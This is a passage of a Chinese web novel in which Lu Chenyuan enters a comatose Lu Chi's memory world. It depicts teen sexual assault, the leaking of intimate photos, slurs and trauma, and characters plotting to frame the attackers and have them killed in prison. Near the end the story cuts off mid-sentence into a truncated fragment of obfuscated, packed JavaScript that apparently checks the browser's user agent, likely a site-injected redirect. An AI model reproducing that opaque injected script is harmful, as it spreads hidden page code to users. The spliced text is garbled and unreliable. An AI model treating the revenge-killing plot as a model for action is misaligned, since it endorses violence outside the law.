“陆沉远,你这道题又做错了。”鹿炽指着练习册,“笨死了。” “我笨?”陆沉远挑眉,“那你还喜欢我?” “谁喜欢你了!”鹿炽脸红了,“我是说……你数学笨。” “哦——”陆沉远拉长声音,“那其他方面不笨?” 鹿炽瞪他:“不要脸。” 陆沉远笑了,凑近他耳边:“我只对你不要脸。” 鹿炽耳朵红透了,推开他:“做题!” 一切好像回到了正轨。鹿炽的成绩依然稳居第一,陆沉远紧追其后。两人一起学习,一起吃饭,一起回家。 像所有普通的高中情侣——如果忽略他们偶尔紧握的手,和只有彼此才懂的眼神。 但鹿炽心里清楚,有些伤痕需要时间愈合。他还是会突然心悸,还是会怕陌生人靠近,还是会在深夜惊醒。 不同的是,现在惊醒后,他可以拿起手机,给陆沉远发条消息:“我醒了。” 无论多晚,陆沉远都会秒回:“我在。” 简单的两个字,却能让他安心入睡。 他知道,路还很长。但他不再是一个人了。 他有陆沉远。 这就够了。 周五下午,班主任宣布了一个消息:“下个月,学校要组织一次心理讲座,主题是‘创伤后的自我疗愈’。希望大家积极参加。” 鹿炽心里一动。 下课后,他找到班主任:“老师,那个讲座……我想报名。” 班主任有些意外,但很快点头:“好,我帮你登记。” “还有……”鹿炽犹豫了一下,“我想……申请学校的心理辅导。” 班主任看着他,眼神温和:“可以。需要我帮你预约吗?” “嗯。” 走出办公室,鹿炽感觉心里轻松了些。他拿出手机,给陆沉远发消息:“我报名了心理讲座,还申请了心理辅导。” 陆沉远很快回:“我陪你。” “不用,我自己可以。” “我想陪你。” 鹿炽看着那四个字,笑了。他回:“好。” 窗外阳光正好。 鹿炽想,也许伤口不会完全消失,但至少,他学会了如何与它共存。 而陆沉远,就是教会他这件事的人。 这就够了。 14. 倒计时 第十三章 周六早上七点,陆沉远睁开眼睛。 不是记忆世界里那个洒满阳光的卧室,而是现实世界——冰冷,苍白,弥漫着消毒水味道的病房。 他躺在医疗舱里,身上连着各种监测仪器。旁边,鹿炽的病床上,那个人依然安静地睡着,呼吸平稳,脸色苍白得像纸。 “陆先生,您醒了。”陈主任推门进来,手里拿着平板电脑,“感觉怎么样?” 陆沉远坐起来,拔掉身上的电极片:“时间过去多久了?” “现实时间72小时。”陈主任说,“正好三天。” 三天……陆沉远心里计算着。记忆世界里的时间流速大约是现实世界的24倍,也就是说,他在记忆世界里已经待了……两个多月。 “鹿炽的情况有变化吗?”他问。 陈主任调出监测数据:“脑电波活动比之前活跃了一些,尤其是海马体和前额叶皮层——这些区域与记忆和情感处理相关。这是个好迹象。” “意思是他快醒了?” “还不能确定。”陈主任谨慎地说,“但至少,您的进入确实对他的意识产生了刺激。不过……” “不过什么?” 陈主任推了推眼镜:“陆先生,记忆世界的时间流速对您的大脑负荷很大。理论上,现实世界最多只能支撑您在里面待三个月——对应记忆世界里的六年。超过这个时间,您的神经可能会永久损伤。” 陆沉远沉默了一会儿:“我现在待了多久?” “现实时间三天,记忆世界两个多月。”陈主任说,“您还有大约87天的安全时间。” 87天。记忆世界里,大约是五年十个月。 五年十个月……够他陪鹿炽度过高中剩下的时间,参加高考,进入大学。够他做完所有想做的事,说完所有想说的话。 但不够一辈子。 “我知道了。”陆沉远下床,“我什么时候可以再进去?” “您需要休息至少24小时,让大脑恢复。”陈主任说,“而且……陆先生,我必须提醒您,随着您在记忆世界停留时间变长,两个世界的界限可能会模糊。您可能会分不清哪边是现实,哪边是记忆。” “我分得清。”陆沉远说,“现实世界里,鹿炽在昏迷。记忆世界里,他在对我笑。这就是区别。” 陈主任叹了口气:“那您今天好好休息。明天下午,我们可以进行第二次潜入。” 陆沉远点头。他走到鹿炽床边,握住那只冰凉的手。 “鹿炽,”他轻声说,“再等等我。等我……把欠你的都补上。” --- 24小时的休息时间,陆沉远几乎全待在鹿炽病房里。 他给鹿炽擦脸,擦手,按摩四肢——护士说这样能防止肌肉萎缩。他给鹿炽读书,读高中时鹿炽最爱的那本《百年孤独》。他给鹿炽讲公司的事,讲股票涨了,讲新项目通过了,讲所有鹿炽昏迷后发生的事。 虽然知道鹿炽听不见,但他还是说。 下午,鹿炽的父母来了。短短三个月,两位老人像是老了十岁。鹿妈妈看见陆沉远,眼眶又红了。 “小陆,你……”她声音哽咽,“你不用天天来的。公司那么多事……” “公司的事可以等。”陆沉远说,“鹿炽不能等。” 鹿爸爸拍了拍他的肩:“辛苦你了。” “不辛苦。”陆沉远摇头,“这是我该做的。” 两位老人在病房里待了一小时,大多数时间只是静静地看着儿子。走的时候,鹿妈妈犹豫了一下,说:“小陆,有句话……我一直想说。” “您说。” “炽炽以前……很爱你。”鹿妈妈眼泪掉下来,“虽然他从来不说,但我看得出来。每次提起你,他眼睛都是亮的。” 陆沉远心脏一疼。 “所以……不管他能不能醒,我都谢谢你。”鹿妈妈说,“谢谢你在他昏迷后做的这一切。也谢谢你现在……还愿意陪着他。” 陆沉远喉咙发紧:“阿姨,该说谢谢的是我。谢谢你们……还愿意让我陪着他。” 鹿妈妈摇摇头,和鹿爸爸一起离开了。 病房里又只剩下陆沉远和鹿炽两个人。陆沉远坐在床边,看着鹿炽安静的睡颜,忽然想起记忆世界里,鹿炽问他:“陆沉远,你到底是谁?” 如果鹿炽知道,那个在记忆世界里对他好,保护他,爱他的陆沉远,就是现实世界里伤害他,家暴他,让他心死的同一个人…… 他会怎么想? 还会接受吗? 还会……原谅吗? 陆沉远不知道。他只知道,他必须做下去。 为了鹿炽能醒过来,为了能亲口对他说一声“对不起”,为了能有机会,用余生去弥补。 哪怕最后鹿炽恨他,怨他,再也不愿见他。 至少,鹿炽还活着。 这就够了。 --- 周日下午,陆沉远再次躺进医疗舱。 “这次我会调整时间流速。”陈主任说,“现实世界24小时,对应记忆世界大约8个月。这样可以加快进度,但您的大脑负荷会更大。” “没问题。”陆沉远闭上眼睛。 “倒计时,三、二、一——” 电流刺激的瞬间,熟悉的坠落感袭来。 然后他听见了风声,还有……篮球拍打地面的声音。 陆沉远睁开眼。 他站在篮球场边。是记忆世界里的高中操场,下午阳光正好,一群男生在打球。 而他穿着校服,手里抱着篮球——显然他刚才也在打。 “远哥!发什么呆呢!”周浩跑过来,汗流浃背,“该你上了!” 陆沉远愣了一下,看向场边。鹿炽坐在长椅上,手里拿着本书,但眼睛看着他。 两人的视线对上,鹿炽笑了,对他挥了挥手。 陆沉远心里一暖。他把球扔给周浩:“不打了,累了。” “啊?这才打多久……” 陆沉远没理他,走向鹿炽。 时间果然跳了。上次离开时是期中考试后不久,现在看天气,应该是深秋了。鹿炽穿了件米色毛衣,外面套着校服外套,鼻尖有点红。 “怎么不打了?”鹿炽问。 “想陪你。”陆沉远在他身边坐下,“看什么呢?” “化学竞赛题。”鹿炽把书递过来,“下个月要比赛了。” 陆沉远看了眼日期——11月15日。果然,跳了将近两个月。 “准备得怎么样?” “还行。”鹿炽合上书,“就是有机化学那块有点难。” “我帮你。” 鹿炽笑了:“你化学还没我好呢。” “那我可以学。”陆沉远说,“你教我。” 鹿炽看着他,眼睛亮亮的:“陆沉远,你最近……真的变了好多。” “变好了还是变坏了?” “变好了。”鹿炽轻声说,“变得……我都快不认识你了。” 陆沉远心里一紧,但面上不动声色:“不喜欢?” “喜欢。”鹿炽耳朵红了,“就是……有点不真实。” “为什么?” “因为太完美了。”鹿炽低头抠手指,“你对我太好,好得像在做梦。我总怕……梦醒了,一切又回到原点。” 陆沉远握住他的手:“不会的。” “你怎么知道?” “因为……”陆沉远看着他的眼睛,“因为这不是梦。我是真的,喜欢你是真的,对你好也是真的。” 鹿炽盯着他看了很久,最后笑了:“嗯。” 篮球场上传来欢呼声,有人投进了三分球。风吹过来,带着落叶的味道。 “鹿炽,”陆沉远忽然说,“如果……我是说如果,有一天你发现我骗了你,你会怎么样?” 鹿炽愣了一下:“你骗我什么了?” “很多事。”陆沉远说,“我的过去,我的改变,甚至……我是谁。” 鹿炽沉默了一会儿,说:“那要看是什么骗。” “如果是善意的谎言呢?” “比如?” “比如……我其实没那么好,但为了让你喜欢我,我装得很好。”< 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“因为我想你幸福。”陆沉远说,“不管我在不在你身边,都要幸福。” 鹿炽笑了:“你在说什么傻话?你当然会在我身边。” 陆沉远也笑了,但笑容有点苦:“嗯,我会一直在。” 他知道这是谎话。 但他愿意在这个谎言里,多待一会儿。 哪怕只有一会儿。 --- 晚自习放学,陆沉远照例送鹿炽回家。路上,鹿炽说起心理辅导的事。 “心理老师说,创伤后应激障碍恢复需要时间。”鹿炽说,“她让我别着急,慢慢来。” “老师说得对。”陆沉远说,“你已经在进步了。” “真的吗?” “真的。”陆沉远认真地说,“你现在敢一个人走那条小巷了,敢关灯睡觉了,敢跟陌生人说话了。这些都很了不起。” 鹿炽眼睛亮了:“你真的觉得我了不起?” “当然。”陆沉远揉揉他的头发,“你是我见过最勇敢的人。” 鹿炽笑了,笑得很开心。路灯下,他的眼睛像盛满了星星。 到鹿炽家楼下时,鹿炽忽然说:“陆沉远,下周我生日。” 陆沉远一愣。他想起现实世界里,鹿炽的生日是7月22日。但现在是11月……对了,记忆世界的时间线是独立的。 “你想要什么礼物?”他问。 “什么都不要。”鹿炽说,“你陪我过就行。” “就这?” “嗯。”鹿炽点头,“就这。” 陆沉远心里一软:“好。我陪你过。” 鹿炽踮起脚,在他脸上轻轻亲了一下:“那我上去了。” 说完就跑进楼里,留下一脸错愕的陆沉远。 他摸了摸被亲的地方,笑了。 这个鹿炽,比他记忆里的更勇敢,更主动,更像……没有被伤害过的样子。 也许,在这个世界里,鹿炽真的能好起来。 能真正地开心,真正地幸福。 哪怕这一切都是假的。 陆沉远转身回家。走到一半,他忽然想起陈主任的话:“现实世界最多只能支撑您在里面待三个月——对应记忆世界里的六年。” 六年。 高中剩下一年半,大学四年,还有半年。 够他陪鹿炽毕业,陪他高考,陪他走进大学校园,陪他度过大学生活的第一个学期。 然后呢? 然后梦就该醒了。 陆沉远抬头看天。夜空很干净,能看见星星。 他想,在剩下的时间里,他要给鹿炽最好的回忆。 最好的恋爱,最好的青春,最好的一切。 这样,等鹿炽醒过来,至少还有这些美好的记忆,支撑他走下去。 哪怕那些记忆里,没有真实的陆沉远。 至少,梦里的那个陆沉远,是爱他的。 15. 这就是变好了么…… 这是他在现实世界…… 日子像翻书一样,一页页翻过去。 转眼,记忆世界里的时间跳到了来年一月。寒假刚结束,新学期开始。南方的冬天湿冷,教室里的空调嗡嗡作响,玻璃上蒙着一层薄雾。 鹿炽的状态肉眼可见地变好了。 他能正常和同学说笑,能在课堂上主动举手回答问题,甚至敢在体育课上打一会儿篮球——虽然只是站在三分线外投几个球,但至少他站上去了。 陆沉远几乎要以为,那些噩梦真的过去了。 直到那个周二的上午。 第二节课是数学,老师正在讲台上讲导数应用。教室里很安静,只有粉笔划过黑板的声音。 突然,后排传来一声压抑的惊呼。 “我靠……” 声音不大,但在安静的教室里格外刺耳。数学老师皱眉:“谁在说话?” 没人应声。但越来越多的骚动像水波一样在教室里蔓延。有人低头看手机,有人交头接耳,有人偷偷看向鹿炽的方向。 鹿炽正在认真记笔记,没察觉到异常。 直到周浩脸色煞白地转过头,用口型对陆沉远说:“远哥……出事了。” 陆沉远心里一沉。他拿出手机——学校贴吧的页面自动弹出来,置顶的帖子标题血红: 【爆】高三学霸鹿炽不雅照流出!清纯人设崩塌!】 帖子发在五分钟前,已经盖了几百楼。主楼没有文字,只有几张照片。 陆沉远点开第一张。 照片很模糊,像是从视频里截的图。昏暗的灯光下,少年衣衫不整地蜷缩在床上,脸上有泪痕,身上有青紫的痕迹。虽然关键部位打了马赛克,但任谁都能看出发生了什么。 第二张,第三张……角度不同,但都是同样的场景。 最后一张是鹿炽的学生证照片,被人用红色字体P上了“婊/子”“活该被/轮”的字样。 陆沉远脑子“轰”的一声。他猛地站起来,椅子在地上划出刺耳的声音。 “陆沉远!”数学老师厉声道,“你干什么?!” 陆沉远没理他,转头看向鹿炽。 鹿炽还低着头记笔记,对周围的一切毫无察觉。阳光从窗外照进来,落在他脸上,睫毛在眼下投出细密的阴影。 那么干净,那么无辜。 “鹿炽……”陆沉远声音发颤。 鹿炽抬起头,看见他惨白的脸,愣了一下:“怎么了?” 就在这时,教室前门被推开。班主任脸色铁青地站在门口:“鹿炽,你出来一下。” 全班安静下来。所有人都看向鹿炽。 鹿炽茫然地站起来:“老师,什么事?” “出来再说。”班主任声音很沉。 鹿炽放下笔,走出教室。陆沉远想跟上去,被班主任一个眼神制止:“陆沉远,你坐下。” 门关上了。 教室里死一般的寂静。几秒后,窃窃私语像潮水般涌起。 “真的假的啊……” “照片好模糊,看不清脸……” “但学生证照片是真的……” “我靠,平时真看不出来……” “难怪他最近怪怪的……” “都闭嘴!”陆沉远吼出来,眼睛通红,“谁再乱说,我撕烂他的嘴!” 教室里瞬间安静。所有人都被他的样子吓到了——像一头被激怒的野兽,随时会扑上来咬人。 周浩小声说:“远哥,你冷静点……” “我怎么冷静?”陆沉远一拳砸在桌子上,发出巨大的声响,“那些畜生……我要杀了他们……” 门外传来脚步声。班主任一个人回来了,脸色更难看了。 “鹿炽呢?”陆沉远冲上去问。 “送医务室了。”班主任看了他一眼,“陆沉远,你跟我来办公室。” 办公室里,气氛凝重。年级主任、教导主任都在,还有两个穿警服的人。 “陆沉远同学,”教导主任开口,“贴吧上的照片,你看到了吗?” “……看到了。” “你知道是怎么回事吗?” 陆沉远握紧拳头:“是有人陷害鹿炽。那些照片是P的。” “我们请技术科的同事初步鉴定过,”一个警察说,“照片没有PS痕迹,是原始图像。” 陆沉远心脏一沉。 “而且,”另一个警察补充,“发帖的IP地址已经查到了,是市人民医院的公共网络。而根据记录,张强等人——就是之前被打骨折的那几个混混——最近正在那里复健。” 一切都串起来了。 那些畜生伤好了,开始报复了。他们不敢再对鹿炽动手,就用这种方式,想彻底毁了他。 “鹿炽现在怎么样?”陆沉远声音沙哑。 “在医务室,校医陪着。”班主任叹气,“他……看到帖子后,当场就晕过去了。” 陆沉远转身就要走。 “站住!”教导主任叫住他,“陆沉远,这件事很严重。如果照片是真的,那鹿炽就涉嫌……” “涉嫌什么?”陆沉远回头,眼神冷得像冰,“涉嫌被强/奸?涉嫌被拍照威胁?涉嫌成为受害者?” 教导主任语塞。 “鹿炽才是受害者!”陆沉远一字一顿,“那些照片是他高二时被侵/犯时拍的!他现在好不容易好一点,你们又要把他推回地狱吗?!” 办公室里所有人都愣住了。 “你……你说什么?”年级主任声音发颤。 “我说,”陆沉远深吸一口气,“鹿炽高二时被那四个混混强/奸了。他们拍了照片,现在拿出来威胁他。这就是事实。” 死一般的寂静。 “你有证据吗?”警察问。 “鹿炽身上的伤就是证据!”陆沉远说,“还有那些混混自己说的话!你们去问他们,敢不敢当面对质?!” “我们会调查。”警察站起来,“但现在,请你先冷静。我们需要见鹿炽同学。” “他现在不能见任何人!”陆沉远挡在门口,“他刚晕过去,你们还要刺激他吗?!” “陆沉远,”班主任按住他的肩,“让开。这是程序。” 陆沉远看着他们,忽然笑了,笑容很惨:“程序……好,你们走程序。但在我这里,鹿炽比任何程序都重要。” 说完他推开班主任,冲出办公室。 --- 医务室里,鹿炽醒了。 他躺在病床上,眼睛盯着天花板,一动不动。校医在旁边轻声说:“鹿炽,喝点水吧。” 鹿炽没反应。 “鹿炽……”陆沉远走到床边,握住他的手。 手是冰凉的,还在微微发抖。 “他醒了有一会儿了,”校医小声说,“但一直不说话,也不动。” 陆沉远点头:“麻烦您先出去一下,我陪陪他。” 校医离开后,陆沉远在床边坐下。他握着鹿炽的手,轻声说:“鹿炽,看着我。” 鹿炽慢慢转过头。那双曾经明亮的眼睛里,此刻一片死灰。 “陆沉远……”他开口,声音嘶哑得像砂纸摩擦,“所有人都看到了,是不是?” 陆沉远心脏一疼:“……嗯。” “他们……都在笑我,是不是?” “没有。”陆沉远握紧他的手,“没有人笑你。他们都很担心你。” 鹿炽笑了,笑容破碎:“你骗我。我都听见了……他们在说,说我是婊子,说我不检点,说我活该……” “谁说的?”陆沉远眼睛红了,“告诉我,我去撕烂他们的嘴。” 鹿炽摇头,眼泪无声地往下掉:“没用的……说了也没用……他们心里都是这么想的……” “鹿炽,你听我说。”陆沉远捧住他的脸,“那些照片不是你自愿拍的,是那些畜生强迫你的。你没有错,一点错都没有。” “可是……”鹿炽哭出声,“可是他们不会信的……他们会觉得,如果我不去招惹那些人,就不会发生这种事……他们会觉得,是我自己的问题……” “那是他们蠢!”陆沉远声音哽咽,“鹿炽,你看着我。我问你,如果有人走在路上被车撞了,你会觉得是那个人活该吗?” 鹿炽摇头。 “那如果有人被抢劫了,你会觉得是那个人不该带钱出门吗?” 鹿炽又摇头。 “所以啊。”陆沉远擦掉他的眼泪,“受害者有罪论是世界上最恶心的东西。错的是施暴者,永远都是。” 鹿炽看着他,眼泪流得更凶:“可是陆沉远……我好疼……” “哪里疼?” “心里疼……”鹿炽捂住胸口,“像有刀在割……喘不过气……” 陆沉远把他抱进怀里:“没事,我在这儿。疼就哭出来,我陪着你。”< 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“呼吸性碱中毒。”校医快速检查,“过度换气导致的。快叫救护车!” 陆沉远脑子一片空白。他拿出手机,手抖得按不准号码。 最后是校医打了120。 救护车来得很快。鹿炽被抬上担架时,已经意识模糊了。他抓着陆沉远的手,喃喃道:“别走……” “我不走。”陆沉远握紧他的手,“我陪着你。” 救护车里,医护人员给鹿炽戴上了氧气面罩。陆沉远坐在旁边,看着监测仪上跳动的数字,心里像被掏空了。 他想,在现实世界里,鹿炽昏迷前最后一刻,是不是也这么绝望? 是不是也以为,全世界都抛弃了他? 而他,陆沉远,就是那个推他进深渊的人。 “患者心率过快!”医护人员说,“准备镇静剂!” 针头扎进鹿炽的手臂。鹿炽挣扎了一下,然后慢慢安静下来,闭上了眼睛。 陆沉远看着他苍白的脸,眼泪终于掉下来。 “对不起……”他低声说,“鹿炽,对不起……” 对不起,在现实世界里伤害你。 对不起,在记忆世界里还是没能保护好你。 对不起,让你受了这么多苦。 救护车驶入医院。鹿炽被推进急诊室,陆沉远被拦在外面。 他靠在墙上,慢慢滑坐到地上。走廊里人来人往,护士推着病床匆匆而过,家属在哭,医生在大声说话。 但陆沉远什么都听不见。 他脑子里只有鹿炽空洞的眼神,和那句“我想回一个没有人认识我的地方”。 手机震动了一下。是周浩发来的消息:“远哥,鹿炽怎么样了?贴吧的帖子被删了,但有人截图转发到其他平台了……操,根本删不完。” 陆沉远盯着屏幕,眼神渐渐冷下来。 删不完? 那就让该闭嘴的人,永远闭嘴。 他站起来,走到楼梯间,拨通了一个号码。 “喂,王律师吗?是我,陆沉远。” “陆总?您怎么……” “帮我办件事。”陆沉远声音很冷,“市人民医院,张强那四个人,我要他们这辈子都出不了监狱。” 电话那头沉默了一下:“陆总,这需要证据……” “证据我有。”陆沉远说,“强/奸,传播淫/秽物品,敲诈勒索,故意伤害。够不够?” “……够。但需要受害人配合。” “受害人现在在医院。”陆沉远说,“等他醒了,我会说服他。” “陆总,您确定吗?一旦立案,事情就瞒不住了。您和鹿先生的关系……” “瞒不住就不瞒了。”陆沉远说,“比起那些虚无的面子,鹿炽的清白更重要。” 挂断电话,陆沉远靠在墙上,深吸一口气。 他不怕。 为了鹿炽,他什么都敢做。 哪怕是毁掉这个记忆世界,哪怕是暴露自己的身份。 只要鹿炽能好起来,他愿意付出任何代价。 因为这是他在现实世界里欠鹿炽的。 而现在,他要还了。 连本带利地还。 16. 法律之外 医院走廊里,消毒水的味道浓得呛人。 陆沉远坐在抢救室外的长椅上,双手交握抵着额头,指节因为用力而发白。墙上的电子钟显示着时间:下午三点十七分。鹿炽被推进去已经一个半小时了。 脚步声由远及近,停在面前。陆沉远抬起头,看见王律师严肃的脸。 “陆总,情况不太好。” 陆沉远的心往下沉:“怎么说?” 王律师在他身边坐下,打开公文包:“我咨询了刑侦支队的熟人,也查了相关案例。□□罪……在我国刑法中,□□罪的客体是女性。男性被性侵,目前只能按强制猥亵罪或者故意伤害罪处理。” “有什么区别?” “量刑天差地别。”王律师推了推眼镜,“□□罪情节严重可判十年以上甚至无期、死刑。但强制猥亵罪……最高五年。故意伤害罪,如果鉴定不出轻伤以上,可能连立案都难。” 陆沉远一拳砸在墙上:“所以那些畜生就算被抓,也关不了几年?” “不止如此。”王律师叹气,“就算判了,他们在监狱里表现好点,减刑,可能两三年就出来了。到时候……” “到时候他们还会报复。”陆沉远声音发冷,“因为代价太小了。” 走廊尽头传来急促的脚步声。陆沉远转头,看见周浩和林屿跑过来。周浩满头大汗,林屿脸色也不好看。 “远哥,鹿炽怎么样了?”周浩气喘吁吁地问。 “还在抢救。”陆沉远哑声说,“你们怎么来了?” “学校都传疯了。”林屿推了推眼镜,声音很冷静,“贴吧的帖子虽然删了,但有人建了微信群,在里面发截图。我加了十几个群,一个个举报,但根本来不及。” 周浩气得眼睛都红了:“那帮孙子!要是让我知道是谁在传,我非——” “是黄毛他们。”陆沉远打断他,“照片是他们发的,群也是他们建的。” 周浩愣住,随即暴怒:“我操!他们人在哪儿?!我现在就去废了他们!” “冷静。”林屿按住他,“打人解决不了问题。” “那怎么办?!”周浩吼出来,“就看着他们欺负鹿炽?!” 陆沉远站起来:“王律师,走法律途径,最多能判他们几年?” 王律师沉默了几秒:“如果所有罪名都成立——强制猥亵、传播淫/秽物品、敲诈勒索……数罪并罚,可能五到七年。但如果他们请个好律师,再赔点钱争取受害人谅解……” “谅解?”陆沉远笑了,笑容冷得吓人,“我就算死,也不会让鹿炽签谅解书。” “但现实是,”王律师很残酷地说,“就算判七年,他们三十岁前也能出来。而鹿炽……可能一辈子都走不出这个阴影。” 走廊里安静得可怕。只有抢救室门上那盏红灯,无声地亮着。 陆沉远闭上眼睛。他想起现实世界里,鹿炽昏迷前最后那个眼神——绝望,空洞,像已经死过一次。 那时他不知道鹿炽经历过什么。现在他知道了,却发现自己依然无能为力。 法律保护不了鹿炽。正义来得太迟,代价又太轻。那些畜生就算坐牢,几年后出来,照样可以换个地方继续活。可鹿炽呢?鹿炽要带着这些伤痕,过一辈子。 这不公平。 “还有别的办法吗?”陆沉远睁开眼,眼神冷得吓人。 王律师迟疑了一下:“如果……能找到他们其他犯罪证据。比如涉黑,涉毒,或者……” “或者什么?” “或者,让他们在监狱里‘意外’。”王律师声音压得很低,“但这风险太大,我不建议您……” “我不需要建议。”陆沉远打断他,“我需要方案。” 王律师张了张嘴,最终没说话。 就在这时,抢救室的门开了。医生走出来,摘下口罩:“谁是家属?” “我是!”陆沉远冲过去,“他怎么样?” “暂时稳定了。”医生说,“过度换气导致的呼吸性碱中毒,已经纠正了。但病人情绪极度不稳定,有严重的创伤后应激障碍症状。我们建议转精神科住院治疗。” 陆沉远心脏一紧:“精神科?” “对。”医生点头,“他刚才醒过一次,一看到穿白大褂的就尖叫,说有针要扎他。我们不得已用了镇静剂。这种情况,需要专业的心理干预。” “我能进去看他吗?” “可以,但别刺激他。他现在……很脆弱。” 陆沉远推开抢救室的门。鹿炽躺在病床上,身上连着监护仪器,脸色苍白得像纸。他睡着了,但眉头紧皱,睫毛还在颤抖,像在做噩梦。 陆沉远在床边坐下,轻轻握住他的手。 鹿炽的手冰凉,还在微微发抖。陆沉远把它握在掌心,试图捂热。 “鹿炽,”他低声说,“对不起……我又没保护好你。” 床上的人动了动,慢慢睁开眼睛。 眼神起初是涣散的,然后渐渐聚焦,落在陆沉远脸上。 “陆……沉远?”鹿炽声音嘶哑。 “是我。”陆沉远握紧他的手,“没事了,我在这儿。” 鹿炽看着他,眼泪无声地流下来:“所有人都知道了……对不对?” 陆沉远喉咙发紧,说不出话。 “我爸妈……”鹿炽声音颤抖,“他们……知道了吗?” “还不知道。”陆沉远说,“学校暂时联系不上他们。” 鹿炽闭上眼睛,眼泪流得更凶:“别告诉他们……求你了……别让我爸妈知道……” “好,我不说。” “可是……”鹿炽睁开眼,眼神绝望,“他们早晚会知道的……那些照片……会传到他们手机里……他们会看到……他们的儿子……是个……” “不许说!”陆沉远打断他,“鹿炽,你不是!你只是受害者!” “可是在别人眼里……”鹿炽哭着说,“在别人眼里,我就是个笑话……被人玩过的……脏东西……” 陆沉远心脏疼得缩成一团。他俯身抱住鹿炽,在他耳边一字一顿地说:“听着,鹿炽。你不脏,一点也不。脏的是他们,是那些伤害你的人,是那些传播照片的人,是那些说闲话的人。你干干净净,比谁都干净。” 鹿炽在他怀里发抖:“真的吗……” “真的。”陆沉远说,“我发誓。” 鹿炽没再说话,只是哭。哭到后来又开始喘不上气,监护仪发出刺耳的警报。 医生冲进来,陆沉远被请了出去。 隔着玻璃,他看着医生护士围着鹿炽忙乱,看着鹿炽挣扎,看着针头扎进他手臂,看着他渐渐安静下来,闭上眼睛。 像一场无声的默剧。 残酷,却真实。 --- 走廊拐角,周浩蹲在地上,抱着头。林屿站在他旁边,手轻轻放在他肩上。 “我他妈……”周浩声音哽咽,“我他妈真想杀了那些人渣……” “杀人是犯法的。”林屿说。 “那你说怎么办?!”周浩抬头,眼睛通红,“就看着他们逍遥法外?!” 林屿沉默了一会儿,说:“我在网上查了。男性被性侵,虽然不能定□□罪,但如果造成严重后果,可以按故意伤害罪处理。如果鹿炽能出具精神鉴定,证明他因为这件事患上严重的精神疾病……” “然后呢?”周浩问,“判几年?三五年?出来了呢?” 林屿不说话了。 他知道周浩说得对。法律有漏洞,正义不完整。有些人作恶的代价,远小于受害者承受的痛苦。 这很残酷,但这就是现实。 “林屿,”周浩忽然说,“如果……我是说如果,有一天你遇到这种事,我……” “我会保护好自己。”林屿打断他,“你也是。” 周浩看着他,眼睛更红了:“我是说……如果我真的遇到……你别像陆沉远那样。” “哪样?” “那样……”周浩比划着,“那么痛苦。我看着远哥那样子……我心都碎了。” 林屿蹲下来,和周浩平视:“周浩,如果真的发生那种事,痛苦是正常的。但重要的是……你要说出来,要寻求帮助,要相信有人会陪着你。” 周浩愣愣地看着他。 “就像鹿炽有陆沉远一样。”林屿轻声说,“你也会有我。” 周浩鼻子一酸,把脸埋进林屿肩窝:“……嗯。” 两个少年在医院的角落里,互相依偎。走廊那头,抢救室的门再次打开,鹿炽被推出来,转往精神科病房。 陆沉远跟在后面,脚步沉重。 就在电梯门要关上的瞬间,一个身影从楼梯间冲出来,差点撞到推床。 “对不起对不起!”那人连忙道歉,抬起头—— 四目相对。 陆沉远愣住了:“哥?” 陆知岩也愣住:“沉远?你怎么在这儿?” 兄弟俩有快半年没见了。陆知岩比陆沉远大四岁,大学毕业后就自己创业,忙得脚不沾地。此刻他穿着一身灰色西装,领带松了,头发有点乱,额头上还有汗。 “我朋友病了。”陆沉远简单说,“你呢?来医院干什么?” 陆知岩表情僵了一下:“我……也是来看朋友。” 话音刚落,楼梯间又冲出来一个人。 那人跑得很急,白大褂都没穿好,口罩挂在一边耳朵上,露出一张清秀但苍白的脸。他看到陆知岩,脸色一变,转身就要跑。 “之言!”陆知岩一把抓住他的手腕,“你还想跑到哪儿去?!” 鹿之言——鹿炽的哥哥,也是这家医院精神科的医生——用力挣扎:“放开我!” 陆沉远脑子“嗡”的一声。他看着鹿之言,又看看陆知岩,最后看向病床上昏睡的鹿炽。 世界真小。 小到所有悲剧都撞在了一起。 “哥,”陆沉远开口,声音沙哑,“你先放开他。这是鹿炽的哥哥。” 陆知岩愣住,看向病床:“鹿炽?你那个……小男朋友?” “嗯。”陆沉远说,“他出了点事。” 鹿之言也看向病床。当他看清床上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“做该做的事。”陆沉远说,“鹿医生,你只需要治好鹿炽。其他的,交给我。” 说完他走出病房。门外,陆知岩还站在那里。 兄弟俩对视一眼,默契地走到楼梯间。 “说吧,”陆知岩点了支烟,“需要我做什么?” 陆沉远有些意外:“你……” “鹿之言是我的人。”陆知岩吐出一口烟,“虽然他跑了四年,但他这辈子都是我的人。他弟弟的事,就是我的事。” “你不问他为什么跑?” “我会问。”陆知岩说,“但不是现在。现在先解决眼前的问题。” 陆沉远看着他哥,忽然想起现实世界里,陆知岩和鹿之言的故事——那是个比他和鹿炽更惨烈的悲剧。 好在,现在还有机会改变。 “我需要人。”陆沉远说,“能处理脏事的人。” 陆知岩挑眉:“你想做什么?” “让那四个人渣,”陆沉远一字一顿,“永远消失。” 陆知岩沉默了几秒,摇头:“不行。杀人犯法,没必要为了人渣搭上自己。” “那怎么办?!” “有办法。”陆知岩掐灭烟,“让他们进监狱,然后在里面……发生‘意外’。监狱里死人,太常见了。” 陆沉远看着他哥,第一次觉得,这个平时总是一本正经的哥哥,也有这么狠的一面。 “不过,”陆知岩补充,“在那之前,我们得先拿到他们其他犯罪的证据。□□判不了几年,但如果是涉毒……就不一样了。” “你有办法?” 陆知岩笑了,笑容很冷:“我认识几个道上的人。给我三天时间。” 陆沉远点头:“好。” 兄弟俩达成共识。陆知岩转身要走,又停住:“对了,鹿之言那边……” “我会照顾。”陆沉远说,“但哥,你得想清楚。四年前你伤过他,现在想挽回,没那么容易。” 陆知岩背影僵了一下:“我知道。” 他走了。陆沉远回到病房门口,透过玻璃看着里面的鹿炽。 鹿之言坐在床边,握着弟弟的手,小声说着什么。那画面很温柔,也很悲伤。 陆沉远想,在这个记忆世界里,他要守护的不只是鹿炽,还有鹿之言。 还有周浩,林屿,所有他在乎的人。 他要给他们一个,比现实世界更好的结局。 哪怕这只是个梦。 但至少在这个梦里,他可以改变。 可以保护想保护的人。 可以……赎罪。 陆沉远靠在墙上,闭上眼睛。 现实世界的时间在流逝,记忆世界的时间也在流逝。 他的时间不多了。 